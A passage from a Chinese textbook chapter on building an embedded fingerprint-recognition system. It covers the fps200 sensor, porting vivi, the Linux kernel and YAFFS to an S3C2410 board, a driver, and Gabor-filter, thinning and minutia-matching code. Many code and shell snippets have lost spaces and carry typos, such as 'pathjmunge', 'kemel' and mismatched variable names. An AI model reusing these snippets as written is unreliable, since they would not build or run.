fps200在性能、尺寸、集成方便度等指标上建立了一套新的标准，是Veridicom半导体指纹传感器家族中重要的新成员。主要特征和优点如下：

·fps200的表面采用Veridicom公司专利技术制成，坚固耐用，可防止各种物质对芯片的划伤、腐蚀、磨损等，能承受超过8kV的静电放电（ESD），可应用在各种苛刻的环境下。

·fps200是第一个内置USB口、微处理器单元（MCU）接口、串行外设接口（SPI）三种通信接口的指纹设备，fps200能够容易地集成到各种类型的设备中，甚至不需要外部接口设备的支持。

·fps200芯片的256×300传感阵列和全新的超薄封装不但提供了更小的外观尺寸，而且使阵列布局更合理，在减小传感器阵列数目的情况下并不降低图像的尺寸及精度，同时也节约了芯片的成本。

·fps200的图像搜索功能（ImageSeekTM）通过改变电容阵列的参数值可在1秒钟以内扫描多幅指纹图像并自动选择最好的一幅。因此fps200对人类手指的适应面更广，可以获得各种类型手指（过干或过湿）的高质量指纹图像，并能应用在各种气候条件下，甚至应用在高温或高湿度的环境下。由于成像的质量与稳定性的提高，大大降低了误识率（FAR）和拒识率（FRR）。

·具有较大的图像数据存储空间。

·手指自动检测（AFD）功能可以唤醒CPU，节约电能的消耗。

·宽电压工作，在3.3～5V都可稳定工作。

·低功耗，在5V工作的情况下耗电小于70mW。
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图　20-4　fps 200内部结构框图

该传感器提供3种接口方式：8位微机总线接口、集成USB全速接口和集成SPI接口。指纹采集的程序流程是：首先初始化fps200的各个寄存器，主要包括放电电流寄存器（DCR）、放电时间寄存器（DTR）和增益控制寄存器（PGC）的设置；然后查询等待，指纹被fps200采集进入数据寄存器后，存入内存。

在参数设计方面，DCR越小，DTR越大，DTR可调范围越大（图像不太黑，没有双指纹）。DCR越大将有效抑制汗渍（模糊）。但是DCR达到最大时背景为灰色，虽然指纹没有模糊。PGC是放大倍数，通过它不能消除汗渍（模糊），PGC越大DTR可调范围越小，PGC太小时整个图像将变成灰色，很难区分指纹和背景。而PGC很大时调整范围小，图像不是很好。


20.5　Linux操作系统移植

Linux操作系统的移植包括BootLoader移植、Linux内核移植、添加必要的驱动程序和挂载文件系统。


 20.5.1　BootLoader移植

本设计采用了韩国Mizi公司的vivi作为BootLoader。操作过程如下：

[1]首先建立交叉编译环境：①在宿主机上安装标准Linux操作系统；②在宿主机上安装交叉编译器。

S3C2410开发板提供的光盘上附有交叉编译器工具ARM-Linux-gcc-2.95.3（源码为cross-2.95.3.tar.bzZ）。先以root用户的身份登录到Linux下。进入/usr/local目录，创建名为arm的目录：



cd/usr/local

Mkdir arm



[2]将光盘提供的cross-2.95.3.tar.bzZ解压到/usr/local/目录。然后修改PATH变量，把arm-Linux工具链目录加入到环境变量PATH中。

修改/etc/profile文件，添加pathmunge/usr/local/arm/2.95.3/bin即可。



#path manipulation

if['id-u'=0];then

pathmunge/sbin

pathmunge/usr/sbin

pathjmunge/usr/local/sbin

pathmunge/usr/local/arm/2.95.3/bin

fi



[3]vivi要用到kernel的一些头文件，所以需要kemel的源代码，要把Linux的kernel准备好。将vivi和kernel都解压到相应目录下，然后需修改/viv/Makefile里的一些变量设置：

1）Linux_INCLUDE_DIR=kernel/include/

Linux_INCLUDE_DIR为kernel/include的对应目录。

2）CROSS_COMPILE=/usr/local/arm/2.95.3/bin/arm-Linux-

CROSS_COMPILE为arm-Linux安装的相应目录。

[4]进入/vivi目录执行make distclean。进入/vivi目录里，输入"make menuconfig"，开始选择配置。保存配置后再输入"make"正式开始编译。在/vivi里面生成"vivi"，这就是后面要烧写到Flash中的BootLoader。


20.5.2　将Linux内核移植到S3C2410

Linux内核主要由进程调度、内存管理、虚拟文件系统、网络接口、进程间通信等5个子系统组成。Linux内核移植需要设置环境变量，并修改以下方面：

（1）根目录

修改根目录下的Makeflle文件，打开最上层目录下的Makefile文件，这个文件中需要修改的内容包括以下两个方面。

指定目标平台：

移植前ARCH:=$（shell uname-m|sed-e s/i.86/……）

移植后ARCH:=arm

指定交叉编译器：

移植前CROSS_COMPILE=

移植后CROSS_COMPILE=arm-Linux-

（2）arch目录

arch目录存放着和体系结构相关的内核代码。在arch/arm中需要修改Makefile文件，添加下面内容。移植后：



ifeq($(CONFIG_ARCH_S3C2410),y)

TEXTADDR=0xC0008000

MACHINE=s3c2410

endif



TEXTADDR决定内核起始运行地址，即image.ram应下载的位置。

（3）config.in

config.in是配置文件，运行"make menuconfig"命令时出现的菜单就是config配置的。在config文件中加入相关信息。

添加CONFIG_ARCH_S3C2410子选项。移植后：



if["$CONFIG_ARCH_S3C2410"="y"];then

Comment'S3C2410 Implementation'

dep_bool'SMDK(MERI TECH BOARD)'

CONFIG S3C2410 SMDK

$CONFIG_S3C2410_S3C2410



其他选项：



if["$CONFIG_FOOTBRIDE_HOST"="y"-o\

"$CONFIG_ARCH_SHARK"="y"-o\

"$CONFIG_ARCH_CLPS7500"="y"-o\

……

"$CONFIG_ARCH_S3C2410"="y"-o

"$CONFIG_ARCH_SA1100"="y"];then

define_bool CONFIG_ISA y

else

define_bool CONFIG_ISA n



（4）arch/arm/boot

编译出来的内核存放在这个目录中。

Makefile移植后：



ifeq($(CONFIG_ARCH_S3C24l0),y)

ZTEXTADDR=0x30008000

ZRELADDR=0x30008000

endif



ZRELADDR决定内核解压后数据输出的地址，ZTEXTADDR为BootLoader的压缩内核文件烧入Flash的起始地址，即从哪个位置开始执行BootLoader，若启动时直接执行，则将其设为0；若自带BIOS需要跳到想要的地址，则可以改为所要的位置。



compressed/Makefile:



通过compressed/Makefile文件创建一个压缩的Linux镜像。此文件中用到的SYSTEM、ZTEXTADDR、ZBSSADDR和ZRELADDR是从arch/arm/boot/Makefile获得的。移植后：



ifeq($(CONFIG_ARCH_S3C2410),y)

obj+=head-s3c2410.o

endif



其中，head-s3c2410.o是由head-s3c2410.s文件经过编译产生的，主要用来初始化处理器。

（5）arch/arm/def-configs目录

这里定义了一些平台的config文件，如lart和assert等。把配置好的文件复制到这里即可。

（6）arch/arm/kernel目录

这个目录下的内容是与硬件平台相关的内核代码。增加S3C2410的支持。移植后：



no-irq-arch:=$(CONFIG_ARCH_INTEGRATOR)

$(CONFIG_ARCH_CLPS7llX)\

……

$(CONFIG_ARCH_S3C2410)\

$(CONFIG_ARCH_MXIADS)$(CONFIG_ARCH_PXA)



增加其他功能，移植后：



obj-$(CONFIG_MIZI)+=event.o

Obj-$(CONFIG_APM)+=apm2.o



在kernel目录中加入debug-armv.s和entry-armv.s中的代码。Linux内核编译之前首先要进行配置，配置内核的命令包括make config、make oldconfig、make menuconfig、make xconfig等。每个命令都将产生config文件，并在每一个c源文件中加上＜Linux/config.h＞，使define的宏CONFIG_XXX起全局性的作用。

编译内核需要3个步骤，分别是：

[1]执行"make dep"建立内核依赖关系。

[2]执行"make zImage"创建内核镜像文件。

[3]执行"make modules"创建内核模块。

生成内核以后，接下来就是安装它。对每一个内核配置来说，需要没有压缩的内核镜像（zImage或bzImage）、压缩的内核镜像、内核的符号映射文件（System.map）以及配置文件（config）共4个文件。生成的zImage(bzImage)文件是平台相关的，它在Makefile文件中设置。使用ARM平台，生成的镜像文件位于/arch/arm/boot/zImage目录下。其他三个文件在内核代码的根目录下。


20.5.3　加载指纹芯片驱动程序

本设计中需要通过网口进行交叉编译以及调试，采集到的指纹图像还需要通过LCD进行显示，因此需要添加相关的设备驱动程序。在开发嵌入式指纹驱动程序时，首先根据fps200芯片要实现的功能，编写其驱动，然后把fps200硬件驱动程序嵌入Linux中。为了能够使用fps200的驱动，需要在/dev目录下创建一个设备文件，创建方法如下：



#cd/arm/armroot/dev

#mknod fps200 c 200 0



以上命令表示在/dev目录下面创建一个名字为fps200的字符设备，该设备主设备号为200，次设备号为0。fps200驱动框图如图20-5所示。
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图　20-5　fps200驱动框图


20.5.4　加载文件系统

近年来日志文件系统在嵌入式系统上得到了较多的应用，其中以支持NOR FLASH的JFFS、JFFS2文件系统和支持NAND FLASH的YAFFS最为流行。这些系统都支持断电文件保护，同时支持标准的MTD驱动。本系统需要将采集到的指纹图像保存到NAND FLASH中，所以采用YAFFS文件系统。

YAFFS（Yet Another Flash File System）是一种类似于JFFS/JFFS2的专门为Flash设计的嵌入式文件系统。与JFFS相比，它减少了一些功能，因此速度更快、占用内存更少。YAFFS还带有NAND芯片驱动，并为嵌入式系统提供了直接访问文件系统的API，用户可以不使用Linux中的MTD和VFS，直接对文件进行操作。NAND Flash大多采用MTD+YAFF的模式。MTD（Memory Technology Devices，内存技术设备）是对Flash操作的接口，提供了一系列的标准函数，将硬件驱动设计和系统程序设计分开。

下面分几个步骤进行根文件系统的加载。

[1]下载YAFFS相关文件，建立目录，更改Makefile文件。其中包括yaffs_ecc.c（ECC校验算法）、yaffs_fileem.c（测试Flash）、yaffs_fs.c（文件系统接口函数）、yaffs_guts.c（YAFFS文件系统算法）、yaffs_mtdif.c（NAND函数）和yaffs_ramem.c（Ramdisk实现）。内核中没有YAFFS，所以需要自己建立YAFFS目录，并把下载的YAFFS代码复制到该目录下面。



#mkdir fs/yaffs

#cp *.c(yaffs source code)fs/yaffs



[2]修改fs/Kconfig，使得可以配置yaffs。

Kconfig文件中主要是配置一些宏，在MTD上面挂接YAFFS，以及一些辅助配置。

[3]修改NAND分区。



struct mtd_partition smdk_default_nand_part[]={

[0]={.name="vivi",.size=0x00020000.offset=0x00000000,},

[1]={.name="param",.size=0x00010000,.offset=0x00020000,},

[2]={.name="kernel",.size=0x00100000,.offset=0x00030000,},

[3]={.name="root",.size=0x01900000,.offset=0x00130000,},

[4]={.name="user",.size=0x025d0000,.offset=0x01a30000,}};



[4]配置内核时选中MTD支持和YAFFS支持。

配置内核时选中MTD支持：



Memory Technology Devices(MTD)--＞

＜*＞Memory Technology Device(MTD)support

[*]MTD Partitioning support

……

[*]S3C2410 NAND driver debug



配置内核时选中YAFFS支持：



File systems--＞

Miscellaneous filesystems--＞

＜*＞Yet Another Flash Filing System(YAFFS)file system support

[*]NAND mtd support

[*]Use ECC functions of the generic MTD-NAND driver

[*]Use Linux file caching layer

[*]Turn off debug chunk erase check

[*]Cache short names in RAM



[5]编译内核并将内核下载到开发板的Flash中。

[6]建立mount目录。

[7]在Flash上建立根文件系统。

[8]重新启动，并改变启动参数。


20.6　系统软件设计

软件部分主要包括系统初始化、指纹采集程序、指纹识别算法等。


 20.6.1　系统的初始化

嵌入式系统在启动或复位之后，需要对系统硬件和软件运行环境进行初始化，这些工作由启动程序完成，通常启动程序都是用汇编语言书写的。写好启动程序是设计好嵌入式程序的关键，系统启动程序所执行的操作与具体的目标系统和开发系统相关，流程如下。

（1）设置入口指针

启动程序首先必须定义入口指针，而且整个应用程序只有一个入口指针。在编译的时候，编译器需要知道整个程序的入口在哪里，所以在编译前要设置好相关的编译选项，如程序入口所在的目标文件。

（2）设置中断向量

ARM9要求中断向量表必须设置在从0地址开始、连续8×4字节的空间，分别是复位、未定义指令错误、软件中断、预取指令错误、数据存取错误、IRQ、FIQ和一个保留的中断向量。对于未使用的中断，使其指向一个只含返回指令的哑函数，可以防止错误中断引起系统的混乱。

（3）初始化堆栈

系统堆栈初始化取决于用户使用了哪些处理器模式，以及系统需要处理哪些错误类型。对于将要用到的每一种模式，都应该先定义好堆栈指针。

（4）初始化存储器系统

有些芯片可通过寄存器编程初始化存储器系统，还有的通过存储器控制模块的配置寄存器来初始化存储器系统。

（5）如有必要改变处理器模式、状态

如果前面已经进行了堆栈的初始化，那么堆栈初始化时的最后一个模式就是现在的处理器运行模式，用户如果需要改变处理器模式和其他如中断使能的状态位等，可以设置CPSR来实现。

（6）初始化必要的I/O状态

某些严格的I/O和用户认为需要在调用主程序前完成的状态控制，可以在启动程序里面完成初始化，特别是一些输出设备，通电后往往呈现一种随机态，需要及时加以控制。

（7）初始化C语言所需的存储器空间

为正确运行应用程序，在初始化期间应将系统需要读写的数据和变量从ROM复制到RAM里，一些要求快速响应的程序，如中断处理程序，也需要在RAM中运行。

（8）呼叫C程序

在进入主程序之前，需要确定主程序代码的编译模式是ARM还是THUMB，由此决定相应的跳转指令。


20.6.2　指纹采集与处理

fps200可以工作在中断方式，也可以工作在查询方式。采用查询工作方式，程序流程大致如下：先初始化eps200各寄存器，往相应的寄存器写入控制字，设置采集指纹的参数，主要是DCR、DTR、PGC这几个寄存器的设置；查询等待，当指纹被fps200自动采集进入数据寄存器时，把指纹数据存入到指定的存储空间。

fps200指纹处理部分程序如下所示。



/*fps200.h文件*/

#ifndef_FPS200_H_

#define_FPS200_H_

#define ROW_NUM 300

#define COL_NUM 256

#define FPS200_IOCRESET_IO(FPS200_IOC_MAGIC)

#define FPS_RAH 0x00

#define FPS_RAL 0x01

#define FPS_CAL 0x02

...

/*调试的内核空间*/

#define PDEBUG(fmt,args…)printk(KERN_DEBUG"fps200:"fmt,##args)

#else

/*用户空间*/

#define PDEBUG(fmt,args…)fprintf(stderr,fmt,##args)

#endif

#else

#define PDEBUG(fmt,args…)

#endif

#undef PDEBUGG

#define PDEBUGG(fmt,args…)

/*设备结构类型*/

typedef struct FPS200_Dev{

unsigned char flag;

void*data;

}FPS200_Dev;

#define FPS200_IOC_MAGIC'k'

#define FPS200_IOCSDTR_IOC(_IOC_WRITE,FPS200_IOC_MAGIC,1,1)

#define FPS200_IOCSDCR_IOC(_IOC_WRITE,FPS200_IOC_MAGIC,2,1)

#define FPS200_IOCSPGC_IOC(_IOC_WRITE,FPS200_IOC_MAGIC,3,1)

...

/*fps200.c文件*/

#ifndef__KERNEL__

#define__KERNEL__

#endif

#ifndef MODULE

#define MODULE

#endif

#include＜Linux/config.h＞

#include＜Linux/module.h＞

#include＜Linux/kernel.h＞/*printk()*/

#include＜Linux/slab.h＞/*kmalloc()*/

#include＜Linux/fs.h＞/*everything…*/

#include＜Linux/errno.h＞/*错误代码*/

#include＜Linux/types.h＞/*size_t*/

#include＜Linux/init.h＞

#include＜Linux/delay.h＞/*udelay()*/

#include＜asm/io.h＞/*ioremap(),iounmap()*/

#include＜Linux/ioport.h＞

#include＜asm/irq.h＞

#include＜Linux/string.h＞

#include＜asm/uaccess.h＞

#include＜asm/arch/irqs.h＞

#include"fps200.h"/*local definitions*/

……

void fps_get_image(void)

{

int i=0;

int j=0;

FPS_INDEX=FPS_CTRLA;

FPS_DATA=FPS_CTRLA_GETIMG;

for(i=0;i＜300;i++){

FPS_INDEX=FPS_CTRLB;

while(!(FPS_CTRLB_RDY＆FPS_DATA)){udelay(1);};

for(j=0;j＜256;j++){

FPS_INDEX=FPS_CTRLB;

while(!(FPS_CTRLB_RDY＆FPS_DATA)){udelay(1);};

FPS_INDEX=FPS_CTRLA;

*((unsigned char*)(fps200_device-＞data+i*256+j))=FPS_DATA;

}

}

}

int fps 200_open(struct inode*inode,struct file*filp)

{

MOD_INC_USE_COUNT;

return(0);

}

int fps 200_release(struct inode*inode,struct file*filp)

{

MOD_DEC_USE_COUNT;

return(0);

}

int fps200_ioctl(struct inode*inode,struct file*filp,

unsigned int cmd,unsigned long arg)

{

int err=0;

int ret=0;

unsigned char tmp;

if(_IOC_TYPE(cmd)!=FPS200_IOC_MAGIC)

return-ENOTTY;

if(_IOC_NR(cmd)＞FPS200_IOC_MAXNR)

return-ENOTTY;

if(_IOC_DIR(cmd)＆_IOC_READ)

err=verify_area(VERIFY_WRITE,(void*)arg,

_IOC_SIZE(cmd));

else if(_IOC_DIR(cmd)＆_IOC_WRITE)

err=verify_area(VERIFY_READ,(void*)arg,

_IOC_SIZE(cmd));

if(err)

return err;

switch(cmd)

{

case FPS200_IOCSDTR:

ret=__get_user(tmp,(unsigned char*)arg);

if(tmp＞0x7f)

tmp=0x7f;

FPS_INDEX=FPS_DTR;

FPS_DATA=tmp;

break;

case FPS200_IOCSDCR:

ret=__get_user(tmp,(unsigned char*)arg);

if(tmp＞0x1f)

tmp=0x1f;

FPS_INDEX=FPS_DCR;

FPS_DATA=tmp;

break;

...

}




20.6.3　指纹识别算法的实现

通过指纹采集器输入的指纹图像是一幅含噪声较多的灰度图像，这些噪声不仅散布在指纹图像的前景区域，而且还存在于指纹图像的背景区域，所以必须经过预处理。通过对原始灰度图像进行增强，得到质量较好的指纹图像，然后进行特征提取和识别。主要程序如下所示。

1.指纹图像增强（Gabor滤波法）

构造Gabor滤波器：



float dy2=1.0/r2;

float dx2=1.0/r2;

float x2,y2;

y2=-x*sin(phi)+y*cos(phi);

x2=x*cos(phi)+y*sin(phi);

return exp(-0.5*(x2*x2*dx2+y2*y2*dy2))*cos(2*pi*x2*f);



用Gabor滤波器进行滤波：



for(j=Wg2;j＜lHeight-Wg2;j++)

for(i=Wg2;i＜lWidth-Wg2;i++)

{sum=0.0;

o=orientation[i+j*lLineBytes];

f=frequence[i+j*lLineBytes];

for(v=-Wg2;v＜=Wg2;v++)

for(u=-Wg2;u＜=Wg2;u++)

{sum+=EnhanceGabor((float)u,(float)v,o,f,radius)

*(*(lpSrc+(j-v)*lLineBytes+i-u));}

if(sum＞255.0)sum=255.0;

if(sum＜0.0)sum=0.0;

*(enhanced+j*lLineBytes+i)=(unsigned char)sum;}}



2.指纹图像的细化

采用经典形态学细化方法，程序如下：



//逐个判断条件

//判断2＜=NZ(P1)＜=6

nCount=neighbour[1][1]+neighbour[1][2]+neighbour[1][3]\

+neighbour[2][1]+neighbour[2][3]+\

+neighbour[3][1]+neighbour[3][2]+neighbour[3][3];

if(nCount＞=2＆＆nCount＜=6)

bCondition1=TRUE;

//判断Z0(P1)=1

nCount=0;

if(neighbour[1][2]==0＆＆neighbour[1][1]==1)nCount++;

if(neighbour[1][1]==0＆＆neighbour[2][1]==1)nCount++;

if(neighbour[2][1]==0＆＆neighbour[3][1]==1)nCount++;

if(neighbour[3][1]==0＆＆neighbour[3][2]==1)nCount++;

if(neighbour[3][2]==0＆＆neighbour[3][3]==1)nCount++;

if(neighbour[3][3]==0＆＆neighbour[2][3]==1)nCount++;

if(neighbour[2][3]==0＆＆neighbour[1][3]==1)nCount++;

if(neighbour[1][3]==0＆＆neighbour[1][2]==1)nCount++;

if(nCount==1)bCondition2=TRUE;

//判断P2*P4*P8=0 or Z0(p2)!=1

if(neighbour[1][2]*neighbour[2][1]*neighbour[2][3]==0)

bCondition3=TRUE;

else

{nCount=0;

if(neighbour[0][2]==0＆＆neighbour[0][1]==1)nCount++;

if(neighbour[0][1]==0＆＆neighbour[1][1]==1)nCount++;

if(neighbour[1][1]==0＆＆neighbour[2][1]==1)nCount++;

if(neighbour[2][1]==0＆＆neighbour[2][2]==1)nCount++;

if(neighbour[2][2]==0＆＆neighbour[2][3]==1)nCount++;

if(neighbour[2][3]==0＆＆neighbour[1][3]==1)nCount++;

if(neighbour[1][3]==0＆＆neighbour[0][3]==1)nCount++;

if(neighbour[0][3]==0＆＆neighbour[0][2]==1)nCount++;

if(nCount!=1)bCondition3=TRUE;}



3.指纹图像的特征点提取

提取特征点的函数如下：



void CTemplateTransView:OnMin()

{//TODO:Add your command handler code here

CTemplateTransDoc*pDoc=GetDocument();

LPSTR lpDIB;//指向DIB的指针

LPSTR lpDIBBits;//指向DIB像素的指针

lpDIB=(LPSTR):GlobalLock((HGLOBAL)pDoc-＞GetHDIB());

//找到DIB图像像素起始位置

lpDIBBits=pDoc-＞GetDibImage()-＞FindDIBBits(lpDIB);

LONG lWidth=pDoc-＞GetDibImage()-＞DIBWidth(lpDIB);

LONG lHeight=pDoc-＞GetDibImage()-＞DIBHeight(lpDIB);

LONG lLineBytes=WIDTHBYTES(lWidth*8);

LPSTR lpNewDIBBits;

HLOCAL hNewDIBBits;

hNewDIBBits=LocalAlloc(LHND,lLineBytes*lHeight);

if(hNewDIBBits==NULL)

return;

pNewDIBBits=(char*)LocalLock(hNewDIBBits);

//初始化图像为原始图像

memcpy(lpNewDIBBits,lpDIBBits,lLineBytes*lHeight);

LPSTR mask;

HLOCAL hmask;

hmask=LocalAlloc(LHND,lLineBytes*lHeight);

if(hmask==NULL)

return;

mask=(char*)LocalLock(hmask);

float*Direction;

float*frequency;

Direction=(float*)malloc(lLineBytes*lHeight*sizeof(float));

if(Direction!=NULL)

memset(Direction,0,lLineBytes*lHeight*sizeof(float));

frequency=(float*)malloc(lLineBytes*lHeight*sizeof(float));

if(frequency!=NULL)

memset(frequency,0,lLineBytes*lHeight*sizeof(float));

FvsMinutiaSet_t minutia;

minutia=pDoc-＞GetDibImage()-＞MinutiaSetCreat(5000);

//判断是否是8-bpp位图(这里为了方便，只处理8-bpp位图，其他的可以类推)

if(pDoc-＞GetDibImage()-＞DIBNumColors(lpDIB)!=256)

{MessageBox("目前只支持256色位图！","系统提示",

MB_ICONINFORMATION|MB_OK);

:GlobalUnlock((HGLOBAL)pDoc-＞GetHDIB());

return;}

BeginWaitCursor();

//调用FingerprintGetDirection()求方向图

pDoc-＞GetDibImage()-＞FingerprintGetDirection(lpDIBBits,Direction,lWidth,lHeight,5);

pDoc-＞GetDibImage()-＞FingerprintGetFrequency(lpDIBBits,Direction,frequency,lWidth,lHeight);

pDoc-＞GetDibImage()-＞FingerprintGetMask(lpDIBBits,Direction,frequency,mask,lWidth,lHeight);

pDoc-＞GetDibImage()-＞FangFilter(lpDIBBits,lWidth,lHeight);

pDoc-＞GetDibImage()-＞FangFilter(lpDIBBits,lWidth,lHeight);

pDoc-＞GetDibImage()-＞ThresholdTrans(lpDIBBits,lWidth,lHeight,80);

pDoc-＞GetDibImage()-＞ThiningDIB(lpDIBBits,lWidth,lHeight);

pDoc-＞GetDibImage()-＞ImageThinHitMiss(lpDIBBits,lWidth,lHeight);

pDoc-＞(GetDibImage()-＞MinutiaSetExtract(minutia,lpDIBBits,Direction,lWidth,lHeight);

pDoc-＞GetDibImage()-＞MinutiaSetDraw(minutia,lpDIBBits,lWidth,lHeight);

pDoc-＞SetModifiedFlag(TRUE);//设置修改标记

pDoc-＞UpdateAllViews(NULL);//更新视图

:GlobalUnlock((HGLOBAL)pDoc-＞GetHDIB());

EndWaitCursor();

}



4.指纹图像的特征匹配

本系统所采用的点模式匹配问题，实际就是将两枚指纹的匹配转换成输入局部特征向量集合和模板局部特征向量集合（以下简称点集）比对的过程。保存的原始指纹和待测指纹之间不可避免地会存在缩放、平移、旋转和变形等差异，由于本系统采用同一指纹扫描器，因此可输入指纹之间的缩放比为1，所以缩放不需要考虑。平移、旋转和变形问题在匹配过程中的两个阶段——初匹配和二次匹配中来解决，并完成匹配。

（1）初匹配

由于原始指纹和待测指纹之间存在平移、旋转。所以进行匹配时只采用局部特征向量的结构性信息和中心特征点的类型，即LFV中的（type,ridge[3]，vector[3]）。这些结构性信息是特征点之间的相对位置关系、相对角度关系，所以平移和旋转问题不影响匹配。这里用neibor[i][j]记录相邻特征点的匹配分数，用ridge[i][j]记录纹线的匹配分数。具体算法描述如下：



for(i=1;i≤M;i++){

for(j=1;j≤N;j++){

if(P[i].type==Q[j].type){

……

}

else{

ridge[i][j]=0;

neibor[i][j]=0;

}

}

}



（2）二次匹配算法

在完成坐标校准和得到模板特征的限界盒以后，就可以进行匹配了，二次匹配的对象是局部特征向量中的特征点的坐标和方向。和初匹配类似，这里也用匹配分数来表示待测指纹特征点集和模板点集之间的相似程度，分数越高匹配度也就越高。将匹配的分数记录在score[i][j]中，匹配分数的计算方法用程序描述如下：



for(j=2;j≤N;j++){

……

radius_size[j]和angle_size[j]程序…

for(i=2;i≤M;i++){

if(P[i]和Q[j]满足条件1){

……计算score[i][j]……

}

else score[i][j]=0;

}

}



至此，整个匹配全部完成，全部流程图如图20-6所示。
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图　20-6　匹配流程


20.7　实践拓展

1.采集指纹图像的光学技术和电容技术比较

光学技术需要一个光源从棱镜反射按在一个取像头的手指，光线照亮指纹从而采集到指纹。采用电容技术的半导体技术，按压到采集头上的手指的嵴和峪在手指表皮和芯片之间产生不同的电容，芯片通过测量空间中的不同的电容场得到完整的指纹。

电容技术的缺点是芯片昂贵，而且容易受到干扰，如从60Hz的电缆线的干扰到用户接触时的干扰，指纹采集器内部的干扰等，使得可靠性较差。光学采集仪价格低廉，但是采集的指纹图像比较容易被伪造和滥用。

2.各种指纹传感器比较

MBF200固态电容传感器：富士通MBF200（MBF200 SOLID-STATE FINGERPRINT SEN-SOR,MBF200固态指纹传感器）固态电容传感器是日本富士通公司利用从Veridicom公司购买的电容式指纹传感器技术，进行技术改良后，推出的一款电容式指纹传感器。该款指纹传感器是日本富士通公司在2002年推出的，产品推出后，在一些指纹产品中得到了应用，但是没有形成规模化的应用。其优点是采集分辨率较高，其缺点是指纹传感器的抗静电指标偏低（只有10kV，目前普遍要求是15kV）；指纹传感器对干湿手指的适应性一般，尤其对湿手指（或有护手霜的手指）的适用性差。另外，厂家没有公开传感器的使用寿命资料。

FPC1011C电容式指纹传感器：FPC1011C电容式指纹传感器是瑞典FingerPrint Card公司（瑞典的一家上市公司）推出的目前最先进的电容式指纹传感器。该款电容式指纹传感器利用了该公司拥有专利的反射式探测技术（以往的电容式指纹传感器采用的一般是直接式探测技术），使指纹传感器的表面保护层厚度可以达到普通电容式指纹传感器的100倍左右，因此使指纹传感器具有更高的对干湿手指的适用性和更长的使用寿命。

电感式指纹传感器的主要生产厂家是美国的AuthenTec公司，它拥有电感式指纹传感器的技术专利（TurePrint技术）。目前，AuthenTec公司提供The FingerLoc Family和The EntréPad Family两个系列共多款指纹传感器。

国内使用较多的指纹传感器主要有AF-S2、AES3400和AES2500系列（包含AES2501和AES2510）。其中，AF-S2是AuthenTec公司推出的第一代指纹传感器，AES2500系列是刮擦式指纹传感器。AES3400是AuthenTec推出的新一代指纹传感器，由于其采集窗口比较小，一般不太适合在通用设备上使用，比较多的使用在PDA等专用设备上。


附录A　嵌入式Linux函数索引

1.常用数学函数

abs()：计算整型数的绝对值

acos()：取反余弦函数值

asin()：取反正弦函数值

atan()：取反正切函数值

atan2（）：取得反正切函数值

ceil()：取不小于参数的最小整型数

cos()：取余弦函数值

cosh()：取双曲线余弦函数值

exp()：计算指数

frexp()：将浮点型数分为底数与指数

ldexp()：计算2的次方值

log()：计算以e为底的对数值

log10（）：计算以10为底的对数值

pow()：计算次方值

sin()：取正弦函数值

sinh()：取双曲线正弦函数值

sqrt()：计算平方根值

tan()：取正切函数值

tanh()：取双曲线正切函数值

2.环境变量函数

getenv()：取得环境变量内容

putenv()：改变或增加环境变量

setenv()：改变或增加环境变量

3.接口处理函数

accept()：接受socket连线

bind()：对socket定位

connect()：建立socket连线

endprotoent()：结束网络协议数据的读取

endservent()：结束网络服务数据的读取

getsockopt()：取得socket状态

htonl()：将32位主机字符顺序转换成网络字符顺序

htons()：将16位主机字符顺序转换成网络字符顺序

inet_addr()：将网络地址转成二进制的数字

inet_aton()：将网络地址转成网络二进制的数字

inet_ntoa()：将网络二进制的数字转换成网络地址

listen()：等待连接

ntohl()：将32位网络字符顺序转换成主机字符顺序

ntohs()：将16位网络字符顺序转换成主机字符顺序

recv()：经socket接收数据

recvmsg()：经socket接收数据

send()：经socket传送数据

sendmsg()：经socket传送数据

sendto()：经socket传送数据

setprotoent()：打开网络协议的数据文件

setservent()：打开主机网络服务的数据文件

setsockopt()：设置socket状态

socket()：建立一个socket通信

4.进程操作函数

exit()：正常结束进程

_exit()：结束进程执行

vfork()：建立一个新的进程

getpgid()：取得进程组识别码

getpgrp()：取得进程组识别码

getpid()：取得进程识别码

getppid()：取得父进程的进程识别码

getpriority()：取得程序进程执行优先权

nice()：改变进程优先顺序

on_exit()：设置程序正常结束前调用的函数

setpgid()：设置进程组识别码

setpgrp()：设置进程组识别码

setpriority()：设置程序进程执行优先权

wait()：等待子进程中断或结束

waitpid()：等待子进程中断或结束

5.内存操作函数

bcmp()：比较内存内容

bcopy()：复制内存内容

bzero()：将一段内存内容全清为零

memcopy()：复制内存内容

memchr()：在某一内存范围中查找一特定字符

memcmp()：比较内存内容

memcpy()：复制内存内容

memmove()：复制内存内容

memset()：将一段内存空间填入某值

6.内存控制函数

calloc()：配置内存空间

free()：释放原先配置的内存

getpagesize()：取得内存分页大小

malloc()：配置内存空间

mmap()：建立内存映射

munmap()：解除内存映射

7.日期时间函数

clock()：获得CPU时间

asctime()：将时间和日期以字符串格式表示

ctime()：将时间和日期以字符串格式表示

gettimeofday()：取得目前的时间

gmtime()：取得目前时间和日期

localtime()：取得当地目前时间和日期

mktime()：将时间结构数据转换成经过的秒数

settimeofday()：设置目前时间

time()：取得目前的时间

8.数据结构及算法函数

crypt()：将密码或数据编码

bsearch()：二元搜索

lfind()：线性搜索

lsearch()：线性搜索

qsort()：利用快速排序法排列数组

rand()：产生随机数

srand()：设置随机数种子

9.文件操作函数

close()：关闭文件

creat()：建立文件

dup()：复制文件描述词

dup2（）：复制文件描述词

fcntl()：文件描述词操作

flock()：锁定文件或解除锁定

fsync()：将缓冲区数据写回磁盘

lseek()：移动文件的读写位置

mkstemp()：建立唯一的临时文件

open()：打开文件

read()：由已打开的文件读取数据

sync()：将缓冲区数据写回磁盘

write()：将数据写入已打开的文件内

fclose()：关闭文件

fdopen()：将文件描述词转为文件指针

feof()：检查文件流是否读到了文件尾

fflush()：更新缓冲区

fgetc()：由文件中读取一个字符

fgets()：由文件中读取一个字符串

fileno()：返回文件流所使用的文件描述词

fopen()：打开文件

fputc()：将一指定字符写入文件流中

fread()：从文件流读取数据

fputs()：将一指定的字符串写入文件内

freopen()：打开文件

fseek()：移动文件流的读写位置

ftell()：取得文件流的读取位置

fwrite()：将数据写至文件流

mktemp()：产生唯一的临时文件名

ewind()：重设文件流的读写位置为文件开头

setbuf()：设置文件流的缓冲区

setbuffer()：设置文件流的缓冲区

setlinebuf()：设置文件流为线性缓冲区

setvbuf()：设置文件流的缓冲区

ungetc()：将指定字符写回文件流中

access()：判断是否具有存取文件的权限

fchmod()：改变文件的权限

fchown()：改变文件的所有者

fstat()：由文件描述词取得文件状态

ftruncate()：改变文件大小

chmod()：改变文件的权限
